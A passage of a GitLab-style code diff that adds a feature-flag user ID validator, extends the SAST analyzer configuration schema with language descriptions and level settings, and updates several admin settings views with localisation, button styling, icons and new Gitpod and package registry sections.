+ false
+ end
+end
diff --git a/app/validators/feature_flag_user_xids_validator.rb b/app/validators/feature_flag_user_xids_validator.rb
new file mode 100644
index 00000000000..a840993a94b
--- /dev/null
+++ b/app/validators/feature_flag_user_xids_validator.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class FeatureFlagUserXidsValidator < ActiveModel::EachValidator
+ USERXID_MAX_LENGTH = 256
+
+ def validate_each(record, attribute, value)
+ self.class.validate_user_xids(record, attribute, value, attribute)
+ end
+
+ class << self
+ def validate_user_xids(record, attribute, user_xids, error_message_attribute_name)
+ unless user_xids.is_a?(String) && !user_xids.match(/[\n\r\t]|,,/) && valid_xids?(user_xids.split(","))
+ record.errors.add(attribute,
+ "#{error_message_attribute_name} must be a string of unique comma separated values each #{USERXID_MAX_LENGTH} characters or less")
+ end
+ end
+
+ private
+
+ def valid_xids?(user_xids)
+ user_xids.uniq.length == user_xids.length &&
+ user_xids.all? { |xid| valid_xid?(xid) }
+ end
+
+ def valid_xid?(user_xid)
+ user_xid.present? &&
+ user_xid.strip == user_xid &&
+ user_xid.length <= USERXID_MAX_LENGTH
+ end
+ end
+end
diff --git a/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json b/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
index 995f2ad6616..8fde92d6312 100644
--- a/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
+++ b/app/validators/json_schemas/security_ci_configuration_schemas/sast_ui_schema.json
@@ -52,67 +52,126 @@
{
"name": "brakeman",
"label": "Brakeman",
- "enabled" : true
+ "enabled" : true,
+ "description": "Ruby on Rails",
+ "variables": [
+ {
+ "field" : "SAST_BRAKEMAN_LEVEL",
+ "label" : "Brakeman confidence level.",
+ "type": "string",
+ "default_value": "1",
+ "value": "",
+ "size": "SMALL",
+ "description": "Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low, 2=Medium, 3=High."
+ }
+ ]
},
{
"name": "bandit",
"label": "Bandit",
- "enabled" : true
+ "enabled" : true,
+ "description": "Python",
+ "variables": [
+ {
+ "field" : "SAST_BANDIT_EXCLUDED_PATHS",
+ "label" : "Paths to exclude from scan.",
+ "type": "string",
+ "default_value": "",
+ "value": "",
+ "size": "SMALL",
+ "description": "Comma-separated list of paths to exclude from scan. Uses Python’s 'fnmatch' syntax; For example: '*/tests/*, */venv/*'"
+ }
+ ]
},
{
"name": "eslint",
"label": "ESLint",
- "enabled" : true
+ "enabled" : true,
+ "description": "JavaScript, TypeScript, React",
+ "variables": []
},
{
"name": "flawfinder",
"label": "Flawfinder",
- "enabled" : true
+ "enabled" : true,
+ "description": "C, C++",
+ "variables": [
+ {
+ "field" : "SAST_FLAWFINDER_LEVEL",
+ "label" : "Flawfinder risk level",
+ "type": "string",
+ "default_value": "1",
+ "value": "",
+ "size": "SMALL",
+ "description": "Ignore Flawfinder vulnerabilities under given risk level. Integer, 0=No risk, 5=High risk."
+ }
+ ]
},
{
"name": "kubesec",
"label": "kubesec",
- "enabled" : true
+ "enabled" : true,
+ "description": "Kubernetes manifests, Helm Charts",
+ "variables": []
},
{
- "name": "nodejsscan",
+ "name": "nodejs-scan",
"label": "Node.js Scan",
- "enabled" : true
+ "enabled" : true,
+ "description": "Node.js",
+ "variables": []
},
{
"name": "gosec",
"label": "Golang Security Checker",
- "enabled" : true
+ "enabled" : true,
+ "description": "Go",
+ "variables": [
+ {
+ "field" : "SAST_GOSEC_LEVEL",
+ "label" : "Gosec confidence level",
+ "type": "string",
+ "default_value": "0",
+ "value": "",
+ "size": "SMALL",
+ "description": "Ignore Gosec vulnerabilities under given confidence level. Integer, 0=Undefined, 1=Low, 2=Medium, 3=High."
+ }
+ ]
},
{
"name": "phpcs-security-audit",
"label": "PHP Security Audit",
- "enabled" : true
+ "enabled" : true,
+ "description": "PHP",
+ "variables": []
},
{
"name": "pmd-apex",
"label": "PMD APEX",
- "enabled" : true
+ "enabled" : true,
+ "description": "Apex (Salesforce)",
+ "variables": []
},
{
"name": "security-code-scan",
"label": "Security Code Scan",
- "enabled" : true
+ "enabled" : true,
+ "description": ".NET Core, .NET Framework",
+ "variables": []
},
{
"name": "sobelow",
"label": "Sobelow",
- "enabled" : true
+ "enabled" : true,
+ "description": "Elixir (Phoenix)",
+ "variables": []
},
{
"name": "spotbugs",
"label": "Spotbugs",
- "enabled" : true
- },
- {
- "name": "secrets",
- "label": "Secrets",
- "enabled" : true
+ "enabled" : true,
+ "description": "Groovy, Java, Scala",
+ "variables": []
}
]
}
diff --git a/app/views/admin/abuse_reports/_abuse_report.html.haml b/app/views/admin/abuse_reports/_abuse_report.html.haml
index 89a87f38968..5ed9a0d1adb 100644
--- a/app/views/admin/abuse_reports/_abuse_report.html.haml
+++ b/app/views/admin/abuse_reports/_abuse_report.html.haml
@@ -2,33 +2,30 @@
- user = abuse_report.user
%tr
%th.d-block.d-sm-none.d-md-none
- %strong User
+ %strong= _('User')
%td
- if user
= link_to user.name, user
.light.small
- Joined #{time_ago_with_tooltip(user.created_at)}
+ = _('Joined %{time_ago}').html_safe % { time_ago: time_ago_with_tooltip(user.created_at) }
- else
- (removed)
+ = _('(removed)')
%td
- %strong.subheading.d-block.d-sm-none.d-md-none Reported by
- - if reporter
- = link_to reporter.name, reporter
- - else
- (removed)
+ %strong.subheading.d-block.d-sm-none.d-md-none
+ = _('Reported by %{reporter}') % { reporter: reporter ? link_to(reporter.name, reporter) : _('(removed)') }
.light.small
= time_ago_with_tooltip(abuse_report.created_at)
%td
- %strong.subheading.d-block.d-sm-none.d-md-none Message
+ %strong.subheading.d-block.d-sm-none.d-md-none= _('Message')
.message
= markdown_field(abuse_report, :message)
%td
- if user
- = link_to 'Remove user & report', admin_abuse_report_path(abuse_report, remove_user: true),
- data: { confirm: "USER #{user.name} WILL BE REMOVED! Are you sure?" }, remote: true, method: :delete, class: "btn btn-sm btn-block btn-remove js-remove-tr"
+ = link_to _('Remove user & report'), admin_abuse_report_path(abuse_report, remove_user: true),
+ data: { confirm: _("USER %{user} WILL BE REMOVED! Are you sure?") % { user: user.name } }, remote: true, method: :delete, class: "btn btn-sm btn-block btn-remove js-remove-tr"
- if user && !user.blocked?
- = link_to 'Block user', block_admin_user_path(user), data: {confirm: 'USER WILL BE BLOCKED! Are you sure?'}, method: :put, class: "btn btn-sm btn-block"
+ = link_to _('Block user'), block_admin_user_path(user), data: {confirm: _('USER WILL BE BLOCKED! Are you sure?')}, method: :put, class: "btn btn-sm btn-block"
- else
.btn.btn-sm.disabled.btn-block
- Already blocked
- = link_to 'Remove report', [:admin, abuse_report], remote: true, method: :delete, class: "btn btn-sm btn-block btn-close js-remove-tr"
+ = _('Already blocked')
+ = link_to _('Remove report'), [:admin, abuse_report], remote: true, method: :delete, class: "btn btn-sm btn-block btn-close js-remove-tr"
diff --git a/app/views/admin/appearances/_form.html.haml b/app/views/admin/appearances/_form.html.haml
index fcb1c1a6f3e..ad3795445d1 100644
--- a/app/views/admin/appearances/_form.html.haml
+++ b/app/views/admin/appearances/_form.html.haml
@@ -16,7 +16,7 @@
= image_tag @appearance.header_logo_path, class: 'appearance-light-logo-preview'
- if @appearance.persisted?
%br
- = link_to 'Remove header logo', header_logos_admin_appearances_path, data: { confirm: "Header logo will be removed. Are you sure?"}, method: :delete, class: "btn btn-inverted btn-remove btn-sm remove-logo"
+ = link_to 'Remove header logo', header_logos_admin_appearances_path, data: { confirm: "Header logo will be removed. Are you sure?"}, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
%hr
= f.hidden_field :header_logo_cache
= f.file_field :header_logo, class: ""
@@ -35,7 +35,7 @@
= image_tag @appearance.favicon_path, class: 'appearance-light-logo-preview'
- if @appearance.persisted?
%br
- = link_to 'Remove favicon', favicon_admin_appearances_path, data: { confirm: "Favicon will be removed. Are you sure?"}, method: :delete, class: "btn btn-inverted btn-remove btn-sm remove-logo"
+ = link_to 'Remove favicon', favicon_admin_appearances_path, data: { confirm: "Favicon will be removed. Are you sure?"}, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm"
%hr
= f.hidden_field :favicon_cache
= f.file_field :favicon, class: ''
@@ -67,7 +67,7 @@
= image_tag @appearance.logo_path, class: 'appearance-logo-preview'
- if @appearance.persisted?
%br
- = link_to 'Remove logo', logo_admin_appearances_path, data: { confirm: "Logo will be removed. Are you sure?"}, method: :delete, class: "btn btn-inverted btn-remove btn-sm remove-logo"
+ = link_to 'Remove logo', logo_admin_appearances_path, data: { confirm: "Logo will be removed. Are you sure?"}, method: :delete, class: "btn gl-button btn-danger btn-danger-secondary btn-sm remove-logo"
%hr
= f.hidden_field :logo_cache
= f.file_field :logo, class: ""
@@ -101,7 +101,7 @@
= parsed_with_gfm
.gl-mt-3.gl-mb-3
- = f.submit 'Update appearance settings', class: 'btn btn-success'
+ = f.submit 'Update appearance settings', class: 'btn gl-button btn-success'
- if @appearance.persisted? || @appearance.updated_at
.mt-4
- if @appearance.persisted?
diff --git a/app/views/admin/appearances/_system_header_footer_form.html.haml b/app/views/admin/appearances/_system_header_footer_form.html.haml
index 7f53b2baa32..b50778a1076 100644
--- a/app/views/admin/appearances/_system_header_footer_form.html.haml
+++ b/app/views/admin/appearances/_system_header_footer_form.html.haml
@@ -23,7 +23,7 @@
= _('Add header and footer to emails. Please note that color settings will only be applied within the application interface')
.form-group.js-toggle-colors-container
- %button.btn.btn-link.js-toggle-colors-link{ type: 'button' }
+ %button.btn.gl-button.btn-link.js-toggle-colors-link{ type: 'button' }
= _('Customize colors')
.form-group.js-toggle-colors-container.hide
= form.label :message_background_color, _('Background Color'), class: 'col-form-label label-bold'
diff --git a/app/views/admin/appearances/preview_sign_in.html.haml b/app/views/admin/appearances/preview_sign_in.html.haml
index 2cd95071c73..eec4719c13c 100644
--- a/app/views/admin/appearances/preview_sign_in.html.haml
+++ b/app/views/admin/appearances/preview_sign_in.html.haml
@@ -8,5 +8,5 @@
= label_tag :password
= password_field_tag :password, nil, class: "form-control bottom", title: 'This field is required.'
.form-group
- = button_tag "Sign in", class: "btn-success btn"
+ = button_tag "Sign in", class: "btn gl-button btn-success"
diff --git a/app/views/admin/application_settings/_ci_cd.html.haml b/app/views/admin/application_settings/_ci_cd.html.haml
index 7051b790fb7..b9cce6c8085 100644
--- a/app/views/admin/application_settings/_ci_cd.html.haml
+++ b/app/views/admin/application_settings/_ci_cd.html.haml
@@ -34,13 +34,13 @@
= f.number_field :max_artifacts_size, class: 'form-control'
.form-text.text-muted
= _("Set the maximum file size for each job's artifacts")
- = link_to icon('question-circle'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size-core-only')
+ = link_to sprite_icon('question-o'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size')
.form-group
= f.label :default_artifacts_expire_in, _('Default artifacts expiration'), class: 'label-bold'
= f.text_field :default_artifacts_expire_in, class: 'form-control'
.form-text.text-muted
= html_escape(_("Set the default expiration time for each job's artifacts. 0 for unlimited. The default unit is in seconds, but you can define an alternative. For example: %{code_open}4 mins 2 sec%{code_close}, %{code_open}2h42min%{code_close}.")) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to icon('question-circle'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'default-artifacts-expiration-core-only')
+ = link_to sprite_icon('question-o'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'default-artifacts-expiration')
.form-group
= f.label :archive_builds_in_human_readable, _('Archive jobs'), class: 'label-bold'
= f.text_field :archive_builds_in_human_readable, class: 'form-control', placeholder: 'never'
@@ -58,6 +58,6 @@
= f.text_field :default_ci_config_path, class: 'form-control', placeholder: '.gitlab-ci.yml'
%p.form-text.text-muted
= _("The default CI configuration path for new projects.").html_safe
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'custom-ci-configuration-path'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-ci-configuration-path'), target: '_blank'
= f.submit _('Save changes'), class: "btn btn-success"
diff --git a/app/views/admin/application_settings/_diff_limits.html.haml b/app/views/admin/application_settings/_diff_limits.html.haml
index 16b7fbe1ab6..1bf25b6a558 100644
--- a/app/views/admin/application_settings/_diff_limits.html.haml
+++ b/app/views/admin/application_settings/_diff_limits.html.haml
@@ -9,7 +9,7 @@
Diff files surpassing this limit will be presented as 'too large'
and won't be expandable.
- = link_to icon('question-circle'),
+ = link_to sprite_icon('question-o'),
help_page_path('user/admin_area/diff_limits',
anchor: 'maximum-diff-patch-size')
.gl-display-flex.gl-justify-content-end
diff --git a/app/views/admin/application_settings/_external_authorization_service_form.html.haml b/app/views/admin/application_settings/_external_authorization_service_form.html.haml
index e82ed0db851..179eb2d5f2e 100644
--- a/app/views/admin/application_settings/_external_authorization_service_form.html.haml
+++ b/app/views/admin/application_settings/_external_authorization_service_form.html.haml
@@ -19,7 +19,7 @@
= _('Enable classification control using an external service')
%span.form-text.text-muted
= external_authorization_description
- = link_to icon('question-circle'), help_page_path('user/admin_area/settings/external_authorization')
+ = link_to sprite_icon('question-o'), help_page_path('user/admin_area/settings/external_authorization')
.form-group
= f.label :external_authorization_service_url, _('Service URL'), class: 'label-bold'
= f.text_field :external_authorization_service_url, class: 'form-control'
diff --git a/app/views/admin/application_settings/_gitpod.html.haml b/app/views/admin/application_settings/_gitpod.html.haml
new file mode 100644
index 00000000000..bbad5155ada
--- /dev/null
+++ b/app/views/admin/application_settings/_gitpod.html.haml
@@ -0,0 +1,30 @@
+- return unless Gitlab::Gitpod.feature_available?
+- expanded = integration_expanded?('gitpod_')
+- gitpod_link = link_to("Gitpod#{sprite_icon('external-link', size: 12, css_class: 'ml-1 vertical-align-center')}".html_safe, 'https://gitpod.io/', target: '_blank', rel: 'noopener noreferrer')
+
+%section.settings.no-animate#js-gitpod-settings{ class: ('expanded' if expanded) }
+ .settings-header
+ %h4
+ = _('Gitpod')
+ %button.btn.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded ? _('Collapse') : _('Expand')
+ %p
+ = s_('Enable %{gitpod_link} integration to launch a development environment in your browser directly from GitLab.').html_safe % { gitpod_link: gitpod_link }
+ = link_to sprite_icon('question-o'), help_page_path('integration/gitpod.md'), target: '_blank', class: 'has-tooltip', title: _('More information')
+
+
+ .settings-content
+ = form_for @application_setting, url: general_admin_application_settings_path(anchor: 'js-gitpod-settings'), html: { class: 'fieldset-form' } do |f|
+ = form_errors(@application_setting)
+
+ %fieldset
+ .form-group
+ .form-check
+ = f.check_box :gitpod_enabled, class: 'form-check-input'
+ = f.label :gitpod_enabled, s_('Gitpod|Enable Gitpod integration'), class: 'form-check-label'
+ .form-group
+ = f.label :gitpod_url, s_('Gitpod|Gitpod URL'), class: 'label-bold'
+ = f.text_field :gitpod_url, class: 'form-control', placeholder: s_('Gitpod|e.g. https://gitpod.example.com')
+ .form-text.text-muted
+ = s_('Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects.')
+ = f.submit s_('Save changes'), class: 'btn btn-success'
diff --git a/app/views/admin/application_settings/_grafana.html.haml b/app/views/admin/application_settings/_grafana.html.haml
index 700be7db54f..80ff5a298b4 100644
--- a/app/views/admin/application_settings/_grafana.html.haml
+++ b/app/views/admin/application_settings/_grafana.html.haml
@@ -4,7 +4,7 @@
%fieldset
%p
= _("Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab.")
- = link_to icon('question-circle'), help_page_path('administration/monitoring/performance/grafana_configuration.md')
+ = link_to sprite_icon('question-o'), help_page_path('administration/monitoring/performance/grafana_configuration.md')
.form-group
.form-check
= f.check_box :grafana_enabled, class: 'form-check-input'
diff --git a/app/views/admin/application_settings/_package_registry.html.haml b/app/views/admin/application_settings/_package_registry.html.haml
new file mode 100644
index 00000000000..257a90252cc
--- /dev/null
+++ b/app/views/admin/application_settings/_package_registry.html.haml
@@ -0,0 +1,50 @@
+- if Gitlab.config.packages.enabled
+ %section.settings.as-package.no-animate#js-package-settings{ class: ('expanded' if expanded_by_default?) }
+ .settings-header
+ %h4
+ = _('Package Registry')
+ %button.btn.btn-default.js-settings-toggle{ type: 'button' }
+ = expanded_by_default? ? _('Collapse') : _('Expand')
+ %p
+ = _("Settings related to the use and experience of using GitLab's Package Registry.")
+
+ = render_if_exists 'admin/application_settings/ee_package_registry'
+
+ .settings-content
+ %h4
+ = _('Package file size limits')
+ %p
+ = _('Set limit to 0 to allow any file size.')
+ .scrolling-tabs-container.inner-page-scroll-tabs
+ - if @plans.size > 1
+ %ul.nav-links.scrolling-tabs.mobile-separator.nav.nav-tabs.mb-3
+ - @plans.each_with_index do |plan, index|
+ %li
+ = link_to admin_plan_limits_path(anchor: 'js-package-settings'), data: { target: "div#plan#{index}", action: "plan#{index}", toggle: 'tab'}, class: index == 0 ? 'active': '' do
+ = plan.name.capitalize
+ .tab-content
+ - @plans.each_with_index do |plan, index|
+ .tab-pane{ :id => "plan#{index}", class: index == 0 ? 'active': '' }
+ = form_for plan.actual_limits, url: admin_plan_limits_path(anchor: 'js-package-settings'), html: { class: 'fieldset-form' }, method: :post do |f|
+ = form_errors(plan)
+ %fieldset
+ = f.hidden_field(:plan_id, value: plan.id)
+ .form-group
+ = f.label :conan_max_file_size, _('Maximum Conan package file size in bytes'), class: 'label-bold'
+ = f.number_field :conan_max_file_size, class: 'form-control'
+ .form-group
+ = f.label :maven_max_file_size, _('Maximum Maven package file size in bytes'), class: 'label-bold'
+ = f.number_field :maven_max_file_size, class: 'form-control'
+ .form-group
+ = f.label :npm_max_file_size, _('Maximum NPM package file size in bytes'), class: 'label-bold'
+ = f.number_field :npm_max_file_size, class: 'form-control'
+ .form-group
+ = f.label :nuget_max_file_size, _('Maximum NuGet package file size in bytes'), class: 'label-bold'
+ = f.number_field :nuget_max_file_size, class: 'form-control'
+ .form-group
+ = f.label :pypi_max_file_size, _('Maximum PyPI package file size in bytes'), class: 'label-bold'
+ = f.number_field :pypi_max_file_size, class: 'form-control'
+ .form-group
+ = f.label :generic_packages_max_file_size, _('Generic package file size in bytes'), class: 'label-bold'
+ = f.number_field :generic_packages_max_file_size, class: 'form-control'
+ = f.submit _('Save %{name} size limits').html_safe % { name: plan.name.capitalize }, class: 'btn gl-button btn-success'
diff --git a/app/views/admin/application_settings/_pages.html.haml b/app/views/admin/application_settings/_pages.html.haml
index 8214cf8ce9f..2ee7f3edc97 100644
--- a/app/views/admin/application_settings/_pages.html.haml
+++ b/app/views/admin/application_settings/_pages.html.haml
@@ -14,7 +14,7 @@
= _("Require users to prove ownership of custom domains")
.form-text.text-muted
= _("Domain verification is an essential security measure for public GitLab sites. Users are required to demonstrate they control a domain before it is enabled")
- = link_to icon('question-circle'), help_page_path('user/project/pages/custom_domains_ssl_tls_certification/index.md', anchor: '4-verify-the-domains-ownership')
+ = link_to sprite_icon('question-o'), help_page_path('user/project/pages/custom_domains_ssl_tls_certification/index.md', anchor: '4-verify-the-domains-ownership')
- if Gitlab.config.pages.access_control
.form-group
.form-check
@@ -23,7 +23,7 @@
= _("Disable public access to Pages sites")
.form-text.text-muted
= _("Access to Pages websites are controlled based on the user's membership to a given project. By checking this box, users will be required to be logged in to have access to all Pages websites in your instance.")
- = link_to icon('question-circle'), help_page_path('administration/pages/index.md', anchor: 'disabling-public-access-to-all-pages-websites')
+ = link_to sprite_icon('question-o'), help_page_path('administration/pages/index.md', anchor: 'disabling-public-access-to-all-pages-websites')
%h5
= _("Configure Let's Encrypt")
%p
diff --git a/app/views/admin/application_settings/_performance.html.haml b/app/views/admin/application_settings/_performance.html.haml
index 6b02521a0f0..3473c185dbe 100644
--- a/app/views/admin/application_settings/_performance.html.haml
+++ b/app/views/admin/application_settings/_performance.html.haml
@@ -13,7 +13,7 @@
to authenticate SSH keys via the database file. Only uncheck this
if you have configured your OpenSSH server to use the
AuthorizedKeysCommand. Click on the help icon for more details.
- = link_to icon('question-circle'), help_page_path('administration/operations/fast_ssh_key_lookup')
+ = link_to sprite_icon('question-o'), help_page_path('administration/operations/fast_ssh_key_lookup')
.form-group
= f.label :raw_blob_request_limit, _('Raw blob request rate limit per minute'), class: 'label-bold'
diff --git a/app/views/admin/application_settings/_prometheus.html.haml b/app/views/admin/application_settings/_prometheus.html.haml
index b2ec25cdf8d..49f58449d29 100644
--- a/app/views/admin/application_settings/_prometheus.html.haml
+++ b/app/views/admin/application_settings/_prometheus.html.haml
@@ -10,7 +10,7 @@
\. This setting requires a
= link_to 'restart', help_page_path('administration/restart_gitlab')
to take effect.
- = link_to icon('question-circle'), help_page_path('administration/monitoring/prometheus/index')
+ = link_to sprite_icon('question-o'), help_page_path('administration/monitoring/prometheus/index')
.form-group
.form-check
= f.check_box :prometheus_metrics_enabled, class: 'form-check-input'
@@ -22,7 +22,7 @@
Environment variable
%code prometheus_multiproc_dir
does not exist or is not pointing to a valid directory.
- = link_to icon('question-circle'), help_page_path('administration/monitoring/prometheus/gitlab_metrics', anchor: 'metrics-shared-directory')
+ = link_to sprite_icon('question-o'), help_page_path('administration/monitoring/prometheus/gitlab_metrics', anchor: 'metrics-shared-directory')
.form-group
= f.label :metrics_method_call_threshold, 'Method Call Threshold (ms)', class: 'label-bold'
= f.number_field :metrics_method_call_threshold, class: 'form-control'
diff --git a/app/views/admin/application_settings/_realtime.html.haml b/app/views/admin/application_settings/_realtime.html.haml
index 8f6946534ea..0e9731b1c70 100644
--- a/app/views/admin/application_settings/_realtime.html.haml
+++ b/app/views/admin/application_settings/_realtime.html.haml
@@ -12,7 +12,6 @@
The multiplier can also have a decimal value.
The default value (1) is a reasonable choice for the majority of GitLab
installations. Set to 0 to completely disable polling.
- = link_to icon('question-circle'), help_page_path('administration/polling')
+ = link_to sprite_icon('question-o'), help_page_path('administration/polling')
= f.submit 'Save changes', class: "btn btn-success"
-
diff --git a/app/views/admin/application_settings/_registry.html.haml b/app/views/admin/application_settings/_registry.html.haml
index fea3ff4c3ba..7ff2b6e841d 100644
--- a/app/views/admin/application_settings/_registry.html.haml
+++ b/app/views/admin/application_settings/_registry.html.haml
@@ -10,9 +10,15 @@
= f.check_box :container_expiration_policies_enable_historic_entries, class: 'form-check-input'
= f.label :container_expiration_policies_enable_historic_entries, class: 'form-check-label' do
= _("Enable container expiration and retention policies for projects created earlier than GitLab 12.7.")
- = link_to icon('question-circle'), help_page_path('user/packages/container_registry/index', anchor: 'cleanup-policy')
+ = link_to sprite_icon('question-o'), help_page_path('user/packages/container_registry/index', anchor: 'cleanup-policy')
.form-text.text-muted
= _("Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project.")
- = link_to icon('question-circle'), help_page_path('user/packages/container_registry/index', anchor: 'use-with-external-container-registries')
+ = link_to sprite_icon('question-o'), help_page_path('user/packages/container_registry/index', anchor: 'use-with-external-container-registries')
+ - if limit_delete_tags_service?
+ .form-group
+ = f.label :container_registry_delete_tags_service_timeout, _('Cleanup policy maximum processing time (seconds)'), class: 'label-bold'
+ = f.number_field :container_registry_delete_tags_service_timeout, min: 0, class: 'form-control'
+ .form-text.text-muted
+ = _("Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0.")
= f.submit 'Save changes', class: "btn btn-success"
diff --git a/app/views/admin/application_settings/_repository_mirrors_form.html.haml b/app/views/admin/application_settings/_repository_mirrors_form.html.haml
index 3b1d1eceb9c..d598f173ff3 100644
--- a/app/views/admin/application_settings/_repository_mirrors_form.html.haml
+++ b/app/views/admin/application_settings/_repository_mirrors_form.html.haml
@@ -10,7 +10,7 @@
= _('Allow repository mirroring to be configured by project maintainers')
%span.form-text.text-muted
= _('If disabled, only admins will be able to configure repository mirroring.')
- = link_to icon('question-circle'), help_page_path('user/project/repository/repository_mirroring.md')
+ = link_to sprite_icon('question-o'), help_page_path('user/project/repository/repository_mirroring.md')
= render_if_exists 'admin/application_settings/mirror_settings', form: f
diff --git a/app/views/admin/application_settings/_repository_storage.html.haml b/app/views/admin/application_settings/_repository_storage.html.haml
index ee55529621b..0dc8dc0740e 100644
--- a/app/views/admin/application_settings/_repository_storage.html.haml
+++ b/app/views/admin/application_settings/_repository_storage.html.haml
@@ -16,7 +16,7 @@
.form-text
%p.text-secondary
= _('Enter weights for storages for new repositories.')
- = link_to icon('question-circle'), help_page_path('administration/repository_storage_paths')
+ = link_to sprite_icon('question-o'), help_page_path('administration/repository_storage_paths')
.form-check
- storage_weights.each do |attribute|
= f.text_field attribute[:name], class: 'form-text-input', value: attribute[:value]
diff --git a/app/views/admin/application_settings/_signin.html.haml b/app/views/admin/application_settings/_signin.html.haml
index 505be869620..2a26a0909fd 100644
--- a/app/views/admin/application_settings/_signin.html.haml
+++ b/app/views/admin/application_settings/_signin.html.haml
@@ -38,7 +38,7 @@
= f.check_box :notify_on_unknown_sign_in, class: 'form-check-input'
= f.label :notify_on_unknown_sign_in, class: 'form-check-label' do
= _('Notify users by email when sign-in location is not recognized')
- = link_to icon('question-circle'),
+ = link_to sprite_icon('question-o'),
'https://docs.gitlab.com/ee/user/profile/unknown_sign_in_notification.html',
target: '_blank'
.form-group
diff --git a/app/views/admin/application_settings/_snowplow.html.haml b/app/views/admin/application_settings/_snowplow.html.haml
index 3216d7b7a9a..c339d6df363 100644
--- a/app/views/admin/application_settings/_snowplow.html.haml
+++ b/app/views/admin/application_settings/_snowplow.html.haml
@@ -25,8 +25,5 @@
.form-group
= f.label :snowplow_cookie_domain, _('Cookie domain'), class: 'label-light'
= f.text_field :snowplow_cookie_domain, class: 'form-control'
- .form-group
- = f.label :snowplow_iglu_registry_url, _('Iglu registry URL (optional)'), class: 'label-light'
- = f.text_field :snowplow_iglu_registry_url, class: 'form-control'
= f.submit _('Save changes'), class: 'btn btn-success'
diff --git a/app/views/admin/application_settings/_usage.html.haml b/app/views/admin/application_settings/_usage.html.haml
index d8a4c601b77..4e45db1e10a 100644
--- a/app/views/admin/application_settings/_usage.html.haml
+++ b/app/views/admin/application_settings/_usage.html.haml
@@ -1,3 +1,5 @@
+- payload_class = 'js-usage-ping-payload'
+
= form_for @application_setting, url: metrics_and_profiling_admin_application_settings_path(anchor: 'js-usage-settings'), html: { class: 'fieldset-form' } do |f|
= form_errors(@application_setting)
@@ -9,7 +11,7 @@
Enable version check
.form-text.text-muted
GitLab will inform you if a new version is available.
- = link_to 'Learn more', help_page_path('user/admin_area/settings/usage_statistics', anchor: 'version-check-core-only')
+ = link_to 'Learn more', help_page_path('user/admin_area/settings/usage_statistics', anchor: 'version-check')
about what information is shared with GitLab Inc.
.form-group
- can_be_configured = @application_setting.usage_ping_can_be_configured?
@@ -21,21 +23,18 @@
- if can_be_configured
%p.mb-2= _('To help improve GitLab and its user experience, GitLab will periodically collect usage information.')
- - usage_ping_path = help_page_path('user/admin_area/settings/usage_statistics', anchor: 'usage-ping-core-only')
+ - usage_ping_path = help_page_path('user/admin_area/settings/usage_statistics', anchor: 'usage-ping')
- usage_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: usage_ping_path }
%p.mb-2= s_('%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc.').html_safe % { usage_ping_link_start: usage_ping_link_start, usage_ping_link_end: '</a>'.html_safe }
- %button.btn.js-usage-ping-payload-trigger{ type: 'button' }
+ %button.btn.js-payload-preview-trigger{ type: 'button', data: { payload_selector: ".#{payload_class}" } }
.spinner.js-spinner.d-none
.js-text.d-inline= _('Preview payload')
- %pre.usage-data.js-usage-ping-payload.js-syntax-highlight.code.highlight.mt-2.d-none{ data: { endpoint: usage_data_admin_application_settings_path(format: :html) } }
+ %pre.usage-data.js-syntax-highlight.code.highlight.mt-2.d-none{ class: payload_class, data: { endpoint: usage_data_admin_application_settings_path(format: :html) } }
- else
= _('The usage ping is disabled, and cannot be configured through this form.')
- deactivating_usage_ping_path = help_page_path('development/telemetry/usage_ping', anchor: 'disable-usage-ping')
- deactivating_usage_ping_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: deactivating_usage_ping_path }
= s_('For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}.').html_safe % { deactivating_usage_ping_link_start: deactivating_usage_ping_link_start, deactivating_usage_ping_link_end: '</a>'.html_safe }
- .form-group.mt-3
- = f.label :instance_statistics_visibility_private, _('Instance Statistics visibility')
- = f.select :instance_statistics_visibility_private, options_for_select({_('All users') => false, _('Only admins') => true}, Gitlab::CurrentSettings.instance_statistics_visibility_private?), {}, class: 'form-control'
= f.submit 'Save changes', class: "btn btn-success"
diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml
index aa1a6256986..6ff35a42efd 100644
--- a/app/views/admin/application_settings/ci/_header.html.haml
+++ b/app/views/admin/application_settings/ci/_header.html.haml
@@ -2,7 +2,7 @@
%h4
= _('Variables')
- = link_to icon('question-circle'), help_page_path('ci/variables/README', anchor: 'custom-environment-variables'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to sprite_icon('question-o', css_class: 'gl-vertical-align-baseline!'), help_page_path('ci/variables/README', anchor: 'custom-environment-variables'), target: '_blank', rel: 'noopener noreferrer'
%button.btn.btn-default.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
diff --git a/app/views/admin/application_settings/general.html.haml b/app/views/admin/application_settings/general.html.haml
index 788dc0b0f1b..823cee09d4b 100644
--- a/app/views/admin/application_settings/general.html.haml
+++ b/app/views/admin/application_settings/general.html.haml
@@ -117,6 +117,7 @@
#js-maintenance-mode-settings
